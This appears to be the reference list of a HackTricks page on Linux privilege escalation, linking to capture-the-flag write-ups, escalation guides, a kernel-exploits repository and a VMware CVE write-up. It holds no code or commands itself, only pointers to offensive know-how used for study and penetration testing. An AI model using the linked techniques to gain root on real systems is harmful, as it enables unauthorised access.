• 0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)

• alseambusher/crontab-ui

• https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

• https://payatu.com/guide-linux-privilege-escalation/

• https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744

• http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html

• https://touhidshaikh.com/blog/?p=827

• https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf

• https://github.com/frizb/Linux-Privilege-Escalation

• https://github.com/lucyoa/kernel-exploits

• https://github.com/rtcrowley/linux-private-i

• https://www.linux.com/news/what-socket/

• https://muzec0318.github.io/posts/PG/peppo.html

• https://www.linuxjournal.com/article/7744

• https://blog.certcube.com/suid-executables-linux-privilege-escalation/

• https://juggernaut-sec.com/sudo-part-2-lpe

• https://linuxconfig.org/how-to-manage-acls-on-linux

• https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

• https://www.linode.com/docs/guides/what-is-systemd/

• 0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)

• GNU Bash Manual – BASH_ENV (non-interactive startup file)

• 0xdf – HTB Environment (sudo env_keep BASH_ENV → root)

• NVISO – You name it, VMware elevates it (CVE-2025-41244)

{{#include ../../banners/hacktricks-training.md}}